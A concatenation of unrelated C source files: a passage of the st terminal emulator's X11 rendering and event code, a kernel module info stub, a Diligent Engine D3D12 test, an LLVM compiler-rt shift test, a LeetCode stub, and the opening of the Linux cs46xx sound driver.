XA_STRING; } int xmakeglyphfontspecs(XftGlyphFontSpec *specs, const Glyph *glyphs, int len, int x, int y) { float winx = borderpx + x * win.cw, winy = borderpx + y * win.ch, xp, yp; ushort mode, prevmode = USHRT_MAX; Font *font = &dc.font; int frcflags = FRC_NORMAL; float runewidth = win.cw; Rune rune; FT_UInt glyphidx; FcResult fcres; FcPattern *fcpattern, *fontpattern; FcFontSet *fcsets[] = { NULL }; FcCharSet *fccharset; int i, f, numspecs = 0; for (i = 0, xp = winx, yp = winy + font->ascent; i < len; ++i) { /* Fetch rune and mode for current glyph. */ rune = glyphs[i].u; mode = glyphs[i].mode; /* Skip dummy wide-character spacing. */ if (mode & ATTR_WDUMMY) continue; /* Determine font for glyph if different from previous glyph. */ if (prevmode != mode) { prevmode = mode; font = &dc.font; frcflags = FRC_NORMAL; runewidth = win.cw * ((mode & ATTR_WIDE) ? 2.0f : 1.0f); if ((mode & ATTR_ITALIC) && (mode & ATTR_BOLD)) { font = &dc.ibfont; frcflags = FRC_ITALICBOLD; } else if (mode & ATTR_ITALIC) { font = &dc.ifont; frcflags = FRC_ITALIC; } else if (mode & ATTR_BOLD) { font = &dc.bfont; frcflags = FRC_BOLD; } yp = winy + font->ascent; } /* Lookup character index with default font. */ glyphidx = XftCharIndex(xw.dpy, font->match, rune); if (glyphidx) { specs[numspecs].font = font->match; specs[numspecs].glyph = glyphidx; specs[numspecs].x = (short)xp; specs[numspecs].y = (short)yp; xp += runewidth; numspecs++; continue; } /* Fallback on font cache, search the font cache for match. */ for (f = 0; f < frclen; f++) { glyphidx = XftCharIndex(xw.dpy, frc[f].font, rune); /* Everything correct. */ if (glyphidx && frc[f].flags == frcflags) break; /* We got a default font for a not found glyph. */ if (!glyphidx && frc[f].flags == frcflags && frc[f].unicodep == rune) { break; } } /* Nothing was found. Use fontconfig to find matching font. */ if (f >= frclen) { if (!font->set) font->set = FcFontSort(0, font->pattern, 1, 0, &fcres); fcsets[0] = font->set; /* * Nothing was found in the cache. Now use * some dozen of Fontconfig calls to get the * font for one single character. * * Xft and fontconfig are design failures. */ fcpattern = FcPatternDuplicate(font->pattern); fccharset = FcCharSetCreate(); FcCharSetAddChar(fccharset, rune); FcPatternAddCharSet(fcpattern, FC_CHARSET, fccharset); FcPatternAddBool(fcpattern, FC_SCALABLE, 1); FcConfigSubstitute(0, fcpattern, FcMatchPattern); FcDefaultSubstitute(fcpattern); fontpattern = FcFontSetMatch(0, fcsets, 1, fcpattern, &fcres); /* Allocate memory for the new cache entry. */ if (frclen >= frccap) { frccap += 16; frc = xrealloc(frc, frccap * sizeof(Fontcache)); } frc[frclen].font = XftFontOpenPattern(xw.dpy, fontpattern); if (!frc[frclen].font) die("XftFontOpenPattern failed seeking fallback font: %s\n", strerror(errno)); frc[frclen].flags = frcflags; frc[frclen].unicodep = rune; glyphidx = XftCharIndex(xw.dpy, frc[frclen].font, rune); f = frclen; frclen++; FcPatternDestroy(fcpattern); FcCharSetDestroy(fccharset); } specs[numspecs].font = frc[f].font; specs[numspecs].glyph = glyphidx; specs[numspecs].x = (short)xp; specs[numspecs].y = (short)yp; xp += runewidth; numspecs++; } /* Harfbuzz transformation for ligatures. */ hbtransform(specs, glyphs, len, x, y); return numspecs; } void xdrawglyphfontspecs(const XftGlyphFontSpec *specs, Glyph base, int len, int x, int y) { int charlen = len * ((base.mode & ATTR_WIDE) ? 2 : 1); int winx = borderpx + x * win.cw, winy = borderpx + y * win.ch, width = charlen * win.cw; Color *fg, *bg, *temp, revfg, revbg, truefg, truebg; XRenderColor colfg, colbg; XRectangle r; /* Fallback on color display for attributes not supported by the font */ if (base.mode & ATTR_ITALIC && base.mode & ATTR_BOLD) { if (dc.ibfont.badslant || dc.ibfont.badweight) base.fg = defaultattr; } else if ((base.mode & ATTR_ITALIC && dc.ifont.badslant) || (base.mode & ATTR_BOLD && dc.bfont.badweight)) { base.fg = defaultattr; } if (IS_TRUECOL(base.fg)) { colfg.alpha = 0xffff; colfg.red = TRUERED(base.fg); colfg.green = TRUEGREEN(base.fg); colfg.blue = TRUEBLUE(base.fg); XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &colfg, &truefg); fg = &truefg; } else { fg = &dc.col[base.fg]; } if (IS_TRUECOL(base.bg)) { colbg.alpha = 0xffff; colbg.green = TRUEGREEN(base.bg); colbg.red = TRUERED(base.bg); colbg.blue = TRUEBLUE(base.bg); XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &colbg, &truebg); bg = &truebg; } else { bg = &dc.col[base.bg]; } /* Change basic system colors [0-7] to bright system colors [8-15] */ if ((base.mode & ATTR_BOLD_FAINT) == ATTR_BOLD && BETWEEN(base.fg, 0, 7)) fg = &dc.col[base.fg + 8]; if (IS_SET(MODE_REVERSE)) { if (fg == &dc.col[defaultfg]) { fg = &dc.col[defaultbg]; } else { colfg.red = ~fg->color.red; colfg.green = ~fg->color.green; colfg.blue = ~fg->color.blue; colfg.alpha = fg->color.alpha; XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &colfg, &revfg); fg = &revfg; } if (bg == &dc.col[defaultbg]) { bg = &dc.col[defaultfg]; } else { colbg.red = ~bg->color.red; colbg.green = ~bg->color.green; colbg.blue = ~bg->color.blue; colbg.alpha = bg->color.alpha; XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &colbg, &revbg); bg = &revbg; } } if ((base.mode & ATTR_BOLD_FAINT) == ATTR_FAINT) { colfg.red = fg->color.red / 2; colfg.green = fg->color.green / 2; colfg.blue = fg->color.blue / 2; colfg.alpha = fg->color.alpha; XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &colfg, &revfg); fg = &revfg; } if (base.mode & ATTR_REVERSE) { temp = fg; fg = bg; bg = temp; } if (base.mode & ATTR_BLINK && win.mode & MODE_BLINK) fg = bg; if (base.mode & ATTR_INVISIBLE) fg = bg; /* Intelligent cleaning up of the borders. */ if (x == 0) { xclear(0, (y == 0)? 0 : winy, borderpx, winy + win.ch + ((winy + win.ch >= borderpx + win.th)? win.h : 0)); } if (winx + width >= borderpx + win.tw) { xclear(winx + width, (y == 0)? 0 : winy, win.w, ((winy + win.ch >= borderpx + win.th)? win.h : (winy + win.ch))); } if (y == 0) xclear(winx, 0, winx + width, borderpx); if (winy + win.ch >= borderpx + win.th) xclear(winx, winy + win.ch, winx + width, win.h); /* Clean up the region we want to draw to. */ XftDrawRect(xw.draw, bg, winx, winy, width, win.ch); /* Set the clip region because Xft is sometimes dirty. */ r.x = 0; r.y = 0; r.height = win.ch; r.width = width; XftDrawSetClipRectangles(xw.draw, winx, winy, &r, 1); /* Render the glyphs. */ XftDrawGlyphFontSpec(xw.draw, fg, specs, len); /* Render underline and strikethrough. */ if (base.mode & ATTR_UNDERLINE) { XftDrawRect(xw.draw, fg, winx, winy + dc.font.ascent + 1, width, 1); } if (base.mode & ATTR_STRUCK) { XftDrawRect(xw.draw, fg, winx, winy + 2 * dc.font.ascent / 3, width, 1); } /* Reset clip to none. */ XftDrawSetClip(xw.draw, 0); } void xdrawglyph(Glyph g, int x, int y) { int numspecs; XftGlyphFontSpec spec; numspecs = xmakeglyphfontspecs(&spec, &g, 1, x, y); xdrawglyphfontspecs(&spec, g, numspecs, x, y); } void xdrawcursor(int cx, int cy, Glyph g, int ox, int oy, Glyph og, Line line, int len) { Color drawcol; /* remove the old cursor */ if (selected(ox, oy)) og.mode ^= ATTR_REVERSE; /* Redraw the line where cursor was previously. * It will restore the ligatures broken by the cursor. */ xdrawline(line, 0, oy, len); if (IS_SET(MODE_HIDE)) return; /* * Select the right color for the right mode. */ g.mode &= ATTR_BOLD|ATTR_ITALIC|ATTR_UNDERLINE|ATTR_STRUCK|ATTR_WIDE; if (IS_SET(MODE_REVERSE)) { g.mode |= ATTR_REVERSE; g.bg = defaultfg; if (selected(cx, cy)) { drawcol = dc.col[defaultcs]; g.fg = defaultrcs; } else { drawcol = dc.col[defaultrcs]; g.fg = defaultcs; } } else { if (selected(cx, cy)) { g.fg = defaultfg; g.bg = defaultrcs; } else { g.fg = defaultbg; g.bg = defaultcs; } drawcol = dc.col[g.bg]; } /* draw the new one */ if (IS_SET(MODE_FOCUSED)) { switch (win.cursor) { case 7: /* st extension */ g.u = 0x2603; /* snowman (U+2603) */ /* FALLTHROUGH */ case 0: /* Blinking Block */ case 1: /* Blinking Block (Default) */ case 2: /* Steady Block */ xdrawglyph(g, cx, cy); break; case 3: /* Blinking Underline */ case 4: /* Steady Underline */ XftDrawRect(xw.draw, &drawcol, borderpx + cx * win.cw, borderpx + (cy + 1) * win.ch - \ cursorthickness, win.cw, cursorthickness); break; case 5: /* Blinking bar */ case 6: /* Steady bar */ XftDrawRect(xw.draw, &drawcol, borderpx + cx * win.cw, borderpx + cy * win.ch, cursorthickness, win.ch); break; } } else { XftDrawRect(xw.draw, &drawcol, borderpx + cx * win.cw, borderpx + cy * win.ch, win.cw - 1, 1); XftDrawRect(xw.draw, &drawcol, borderpx + cx * win.cw, borderpx + cy * win.ch, 1, win.ch - 1); XftDrawRect(xw.draw, &drawcol, borderpx + (cx + 1) * win.cw - 1, borderpx + cy * win.ch, 1, win.ch - 1); XftDrawRect(xw.draw, &drawcol, borderpx + cx * win.cw, borderpx + (cy + 1) * win.ch - 1, win.cw, 1); } } void xsetenv(void) { char buf[sizeof(long) * 8 + 1]; snprintf(buf, sizeof(buf), "%lu", xw.win); setenv("WINDOWID", buf, 1); } void xseticontitle(char *p) { XTextProperty prop; DEFAULT(p, opt_title); Xutf8TextListToTextProperty(xw.dpy, &p, 1, XUTF8StringStyle, &prop); XSetWMIconName(xw.dpy, xw.win, &prop); XSetTextProperty(xw.dpy, xw.win, &prop, xw.netwmiconname); XFree(prop.value); } void xsettitle(char *p) { XTextProperty prop; DEFAULT(p, opt_title); Xutf8TextListToTextProperty(xw.dpy, &p, 1, XUTF8StringStyle, &prop); XSetWMName(xw.dpy, xw.win, &prop); XSetTextProperty(xw.dpy, xw.win, &prop, xw.netwmname); XFree(prop.value); } int xstartdraw(void) { return IS_SET(MODE_VISIBLE); } void xdrawline(Line line, int x1, int y1, int x2) { int i, x, ox, numspecs; Glyph base, new; XftGlyphFontSpec *specs = xw.specbuf; numspecs = xmakeglyphfontspecs(specs, &line[x1], x2 - x1, x1, y1); i = ox = 0; for (x = x1; x < x2 && i < numspecs; x++) { new = line[x]; if (new.mode == ATTR_WDUMMY) continue; if (selected(x, y1)) new.mode ^= ATTR_REVERSE; if (i > 0 && ATTRCMP(base, new)) { xdrawglyphfontspecs(specs, base, i, ox, y1); specs += i; numspecs -= i; i = 0; } if (i == 0) { ox = x; base = new; } i++; } if (i > 0) xdrawglyphfontspecs(specs, base, i, ox, y1); } void xfinishdraw(void) { XCopyArea(xw.dpy, xw.buf, xw.win, dc.gc, 0, 0, win.w, win.h, 0, 0); XSetForeground(xw.dpy, dc.gc, dc.col[IS_SET(MODE_REVERSE)? defaultfg : defaultbg].pixel); } void xximspot(int x, int y) { if (xw.ime.xic == NULL) return; xw.ime.spot.x = borderpx + x * win.cw; xw.ime.spot.y = borderpx + (y + 1) * win.ch; XSetICValues(xw.ime.xic, XNPreeditAttributes, xw.ime.spotlist, NULL); } void expose(XEvent *ev) { redraw(); } void visibility(XEvent *ev) { XVisibilityEvent *e = &ev->xvisibility; MODBIT(win.mode, e->state != VisibilityFullyObscured, MODE_VISIBLE); } void unmap(XEvent *ev) { win.mode &= ~MODE_VISIBLE; } void xsetpointermotion(int set) { MODBIT(xw.attrs.event_mask, set, PointerMotionMask); XChangeWindowAttributes(xw.dpy, xw.win, CWEventMask, &xw.attrs); } void xsetmode(int set, unsigned int flags) { int mode = win.mode; MODBIT(win.mode, set, flags); if ((win.mode & MODE_REVERSE) != (mode & MODE_REVERSE)) redraw(); } int xsetcursor(int cursor) { if (!BETWEEN(cursor, 0, 7)) /* 7: st extension */ return 1; win.cursor = cursor; return 0; } void xseturgency(int add) { XWMHints *h = XGetWMHints(xw.dpy, xw.win); MODBIT(h->flags, add, XUrgencyHint); XSetWMHints(xw.dpy, xw.win, h); XFree(h); } void xbell(void) { if (!(IS_SET(MODE_FOCUSED))) xseturgency(1); if (bellvolume) XkbBell(xw.dpy, xw.win, bellvolume, (Atom)NULL); } void focus(XEvent *ev) { XFocusChangeEvent *e = &ev->xfocus; if (e->mode == NotifyGrab) return; if (ev->type == FocusIn) { if (xw.ime.xic) XSetICFocus(xw.ime.xic); win.mode |= MODE_FOCUSED; xseturgency(0); if (IS_SET(MODE_FOCUS)) ttywrite("\033[I", 3, 0); } else { if (xw.ime.xic) XUnsetICFocus(xw.ime.xic); win.mode &= ~MODE_FOCUSED; if (IS_SET(MODE_FOCUS)) ttywrite("\033[O", 3, 0); } } int match(uint mask, uint state) { return mask == XK_ANY_MOD || mask == (state & ~ignoremod); } char* kmap(KeySym k, uint state) { Key *kp; int i; /* Check for mapped keys out of X11 function keys. */ for (i = 0; i < LEN(mappedkeys); i++) { if (mappedkeys[i] == k) break; } if (i == LEN(mappedkeys)) { if ((k & 0xFFFF) < 0xFD00) return NULL; } for (kp = key; kp < key + LEN(key); kp++) { if (kp->k != k) continue; if (!match(kp->mask, state)) continue; if (IS_SET(MODE_APPKEYPAD) ? kp->appkey < 0 : kp->appkey > 0) continue; if (IS_SET(MODE_NUMLOCK) && kp->appkey == 2) continue; if (IS_SET(MODE_APPCURSOR) ? kp->appcursor < 0 : kp->appcursor > 0) continue; return kp->s; } return NULL; } void kpress(XEvent *ev) { XKeyEvent *e = &ev->xkey; KeySym ksym; char buf[64], *customkey; int len; Rune c; Status status; Shortcut *bp; if (IS_SET(MODE_KBDLOCK)) return; if (xw.ime.xic) len = XmbLookupString(xw.ime.xic, e, buf, sizeof buf, &ksym, &status); else len = XLookupString(e, buf, sizeof buf, &ksym, NULL); /* 1. shortcuts */ for (bp = shortcuts; bp < shortcuts + LEN(shortcuts); bp++) { if (ksym == bp->keysym && match(bp->mod, e->state)) { bp->func(&(bp->arg)); return; } } /* 2. custom keys from config.h */ if ((customkey = kmap(ksym, e->state))) { ttywrite(customkey, strlen(customkey), 1); return; } /* 3. composed string from input method */ if (len == 0) return; if (len == 1 && e->state & Mod1Mask) { if (IS_SET(MODE_8BIT)) { if (*buf < 0177) { c = *buf | 0x80; len = utf8encode(c, buf); } } else { buf[1] = buf[0]; buf[0] = '\033'; len = 2; } } ttywrite(buf, len, 1); } void cmessage(XEvent *e) { /* * See xembed specs * http://standards.freedesktop.org/xembed-spec/xembed-spec-latest.html */ if (e->xclient.message_type == xw.xembed && e->xclient.format == 32) { if (e->xclient.data.l[1] == XEMBED_FOCUS_IN) { win.mode |= MODE_FOCUSED; xseturgency(0); } else if (e->xclient.data.l[1] == XEMBED_FOCUS_OUT) { win.mode &= ~MODE_FOCUSED; } } else if (e->xclient.data.l[0] == xw.wmdeletewin) { ttyhangup(); exit(0); } } void resize(XEvent *e) { if (e->xconfigure.width == win.w && e->xconfigure.height == win.h) return; cresize(e->xconfigure.width, e->xconfigure.height); } void run(void) { XEvent ev; int w = win.w, h = win.h; fd_set rfd; int xfd = XConnectionNumber(xw.dpy), ttyfd, xev, drawing; struct timespec seltv, *tv, now, lastblink, trigger; double timeout; /* Waiting for window mapping */ do { XNextEvent(xw.dpy, &ev); /* * This XFilterEvent call is required because of XOpenIM. It * does filter out the key event and some client message for * the input method too. */ if (XFilterEvent(&ev, None)) continue; if (ev.type == ConfigureNotify) { w = ev.xconfigure.width; h = ev.xconfigure.height; } } while (ev.type != MapNotify); ttyfd = ttynew(opt_line, shell, opt_io, opt_cmd); cresize(w, h); for (timeout = -1, drawing = 0, lastblink = (struct timespec){0};;) { FD_ZERO(&rfd); FD_SET(ttyfd, &rfd); FD_SET(xfd, &rfd); if (XPending(xw.dpy)) timeout = 0; /* existing events might not set xfd */ seltv.tv_sec = timeout / 1E3; seltv.tv_nsec = 1E6 * (timeout - 1E3 * seltv.tv_sec); tv = timeout >= 0 ? &seltv : NULL; if (pselect(MAX(xfd, ttyfd)+1, &rfd, NULL, NULL, tv, NULL) < 0) { if (errno == EINTR) continue; die("select failed: %s\n", strerror(errno)); } clock_gettime(CLOCK_MONOTONIC, &now); if (FD_ISSET(ttyfd, &rfd)) ttyread(); xev = 0; while (XPending(xw.dpy)) { xev = 1; XNextEvent(xw.dpy, &ev); if (XFilterEvent(&ev, None)) continue; if (handler[ev.type]) (handler[ev.type])(&ev); } /* * To reduce flicker and tearing, when new content or event * triggers drawing, we first wait a bit to ensure we got * everything, and if nothing new arrives - we draw. * We start with trying to wait minlatency ms. If more content * arrives sooner, we retry with shorter and shorter periods, * and eventually draw even without idle after maxlatency ms. * Typically this results in low latency while interacting, * maximum latency intervals during `cat huge.txt`, and perfect * sync with periodic updates from animations/key-repeats/etc. */ if (FD_ISSET(ttyfd, &rfd) || xev) { if (!drawing) { trigger = now; drawing = 1; } timeout = (maxlatency - TIMEDIFF(now, trigger)) \ / maxlatency * minlatency; if (timeout > 0) continue; /* we have time, try to find idle */ } /* idle detected or maxlatency exhausted -> draw */ timeout = -1; if (blinktimeout && tattrset(ATTR_BLINK)) { timeout = blinktimeout - TIMEDIFF(now, lastblink); if (timeout <= 0) { if (-timeout > blinktimeout) /* start visible */ win.mode |= MODE_BLINK; win.mode ^= MODE_BLINK; tsetdirtattr(ATTR_BLINK); lastblink = now; timeout = blinktimeout; } } draw(); XFlush(xw.dpy); drawing = 0; } } void usage(void) { die("usage: %s [-aiv] [-c class] [-f font] [-g geometry]" " [-n name] [-o file]\n" " [-T title] [-t title] [-w windowid]" " [[-e] command [args ...]]\n" " %s [-aiv] [-c class] [-f font] [-g geometry]" " [-n name] [-o file]\n" " [-T title] [-t title] [-w windowid] -l line" " [stty_args ...]\n", argv0, argv0); } int main(int argc, char *argv[]) { xw.l = xw.t = 0; xw.isfixed = False; xsetcursor(cursorshape); ARGBEGIN { case 'a': allowaltscreen = 0; break; case 'A': opt_alpha = EARGF(usage()); break; case 'c': opt_class = EARGF(usage()); break; case 'e': if (argc > 0) --argc, ++argv; goto run; case 'f': opt_font = EARGF(usage()); break; case 'g': xw.gm = XParseGeometry(EARGF(usage()), &xw.l, &xw.t, &cols, &rows); break; case 'i': xw.isfixed = 1; break; case 'o': opt_io = EARGF(usage()); break; case 'l': opt_line = EARGF(usage()); break; case 'n': opt_name = EARGF(usage()); break; case 't': case 'T': opt_title = EARGF(usage()); break; case 'w': opt_embed = EARGF(usage()); break; case 'v': die("%s " VERSION "\n", argv0); break; default: usage(); } ARGEND; run: if (argc > 0) /* eat all remaining arguments */ opt_cmd = argv; if (!opt_title) opt_title = (opt_line || !opt_cmd) ? "st" : opt_cmd[0]; setlocale(LC_CTYPE, ""); XSetLocaleModifiers(""); cols = MAX(cols, 1); rows = MAX(rows, 1); tnew(cols, rows); xinit(cols, rows); xsetenv(); selinit(); run(); return 0; }
306893.c
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); __visible struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif .arch = MODULE_ARCH_INIT, }; MODULE_INFO(intree, "Y"); static const char __module_depends[] __used __attribute__((section(".modinfo"))) = "depends=videodev,v4l2-common"; MODULE_ALIAS("i2c:msp3400");
607346.c
/* * Copyright 2019-2022 Diligent Graphics LLC * Copyright 2015-2019 Egor Yusov * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * In no event and under no legal theory, whether in tort (including negligence), * contract, or otherwise, unless required by applicable law (such as deliberate * and grossly negligent acts) or agreed to in writing, shall any Contributor be * liable for any damages, including any direct, indirect, special, incidental, * or consequential damages of any character arising as a result of this License or * out of the use or inability to use the software (including but not limited to damages * for loss of goodwill, work stoppage, computer failure or malfunction, or any and * all other commercial damages or losses), even if such Contributor has been advised * of the possibility of such damages. */ #include <d3d12.h> #include "DiligentCore/Graphics/GraphicsEngineD3D12/interface/BufferViewD3D12.h" void TestBufferViewD3D12_CInterface(IBufferViewD3D12* pView) { D3D12_CPU_DESCRIPTOR_HANDLE Handle = IBufferViewD3D12_GetCPUDescriptorHandle(pView); (void)Handle; }
852995.c
// RUN: %clang_builtins %s %librt -o %t && %run %t // REQUIRES: int128 //===-- ashlti3_test.c - Test __ashlti3 -----------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file tests __ashlti3 for the compiler_rt library. // //===----------------------------------------------------------------------===// #include "int_lib.h" #include <stdio.h> #ifdef CRT_HAS_128BIT // Returns: a << b // Precondition: 0 <= b < bits_in_tword COMPILER_RT_ABI ti_int __ashlti3(ti_int a, si_int b); int test__ashlti3(ti_int a, si_int b, ti_int expected) { ti_int x = __ashlti3(a, b); if (x != expected) { twords at; at.all = a; twords bt; bt.all = b; twords xt; xt.all = x; twords expectedt; expectedt.all = expected; printf("error in __ashlti3: 0x%llX%.16llX << %d = 0x%llX%.16llX," " expected 0x%llX%.16llX\n", at.s.high, at.s.low, b, xt.s.high, xt.s.low, expectedt.s.high, expectedt.s.low); } return x != expected; } char assumption_1[sizeof(ti_int) == 2*sizeof(di_int)] = {0}; #endif int main() { #ifdef CRT_HAS_128BIT if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 0, make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 1, make_ti(0xFDB97530ECA8642BLL, 0xFDB97530ECA8642ALL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 2, make_ti(0xFB72EA61D950C857LL, 0XFB72EA61D950C854LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 3, make_ti(0xF6E5D4C3B2A190AFLL, 0xF6E5D4C3B2A190A8LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 4, make_ti(0xEDCBA9876543215FLL, 0xEDCBA98765432150LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 28, make_ti(0x876543215FEDCBA9LL, 0x8765432150000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 29, make_ti(0x0ECA8642BFDB9753LL, 0x0ECA8642A0000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 30, make_ti(0x1D950C857FB72EA6LL, 0x1D950C8540000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 31, make_ti(0x3B2A190AFF6E5D4CLL, 0x3B2A190A80000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 32, make_ti(0x76543215FEDCBA98LL, 0x7654321500000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 33, make_ti(0xECA8642BFDB97530LL, 0xECA8642A00000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 34, make_ti(0xD950C857FB72EA61LL, 0xD950C85400000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 35, make_ti(0xB2A190AFF6E5D4C3LL, 0xB2A190A800000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 36, make_ti(0x6543215FEDCBA987LL, 0x6543215000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 60, make_ti(0x5FEDCBA987654321LL, 0x5000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 61, make_ti(0xBFDB97530ECA8642LL, 0xA000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 62, make_ti(0x7FB72EA61D950C85LL, 0x4000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 63, make_ti(0xFF6E5D4C3B2A190ALL, 0x8000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 64, make_ti(0xFEDCBA9876543215LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 65, make_ti(0xFDB97530ECA8642ALL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 66, make_ti(0xFB72EA61D950C854LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 67, make_ti(0xF6E5D4C3B2A190A8LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 68, make_ti(0xEDCBA98765432150LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 92, make_ti(0x8765432150000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 93, make_ti(0x0ECA8642A0000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 94, make_ti(0x1D950C8540000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 95, make_ti(0x3B2A190A80000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 96, make_ti(0x7654321500000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 97, make_ti(0xECA8642A00000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 98, make_ti(0xD950C85400000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 99, make_ti(0xB2A190A800000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 100, make_ti(0x6543215000000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 124, make_ti(0x5000000000000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 125, make_ti(0xA000000000000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 126, make_ti(0x4000000000000000LL, 0x0000000000000000LL))) return 1; if (test__ashlti3(make_ti(0xFEDCBA9876543215LL, 0xFEDCBA9876543215LL), 127, make_ti(0x8000000000000000LL, 0x0000000000000000LL))) return 1; #else printf("skipped\n"); #endif return 0; }
766971.c
// // T559-maximum-depth-of-n-ary-tree.c // algorithm // // Created by Ankui on 7/22/20. // Copyright © 2020 Ankui. All rights reserved. // // https://leetcode-cn.com/problems/maximum-depth-of-n-ary-tree/ #include "T559-maximum-depth-of-n-ary-tree.h" #include "algorithm-common.h" /** * Definition for a Node. * struct Node { * int val; * int numChildren; * struct Node** children; * }; */ int* maxDepth_t559(struct Node* root) { return NULL; }
38299.c
// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) by Jaroslav Kysela <[email protected]> * Abramo Bagnara <[email protected]> * Cirrus Logic, Inc. * Routines for control of Cirrus Logic CS461x chips * * KNOWN BUGS: * - Sometimes the SPDIF input DSP tasks get's unsynchronized * and the SPDIF get somewhat "distorcionated", or/and left right channel * are swapped. To get around this problem when it happens, mute and unmute * the SPDIF input mixer control. * - On the Hercules Game Theater XP the amplifier are sometimes turned * off on inadecuate moments which causes distorcions on sound. * * TODO: * - Secondary CODEC on some soundcards * - SPDIF input support for other sample rates then 48khz * - Posibility to mix the SPDIF output with analog sources. * - PCM channels for Center and LFE on secondary codec * * NOTE: with CONFIG_SND_CS46XX_NEW_DSP unset uses old DSP image (which * is default configuration), no SPDIF, no secondary codec, no * multi channel PCM. But known to work. * * FINALLY: A credit to the developers Tom and Jordan * at Cirrus for have helping me out with the DSP, however we * still don't have sufficient documentation and technical * references to be able to implement all fancy feutures * supported by the cs46xx DSP's. * Benny <[email protected]> */ #include <linux/delay.h> #include <linux/pci.h> #include <linux/pm.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/slab.h> #include <linux/gameport.h> #include <linux/mutex.h> #include <linux/export.h> #include <linux/module.h> #include <linux/firmware.h> #include <linux/vmalloc.h> #include <linux/io.h> 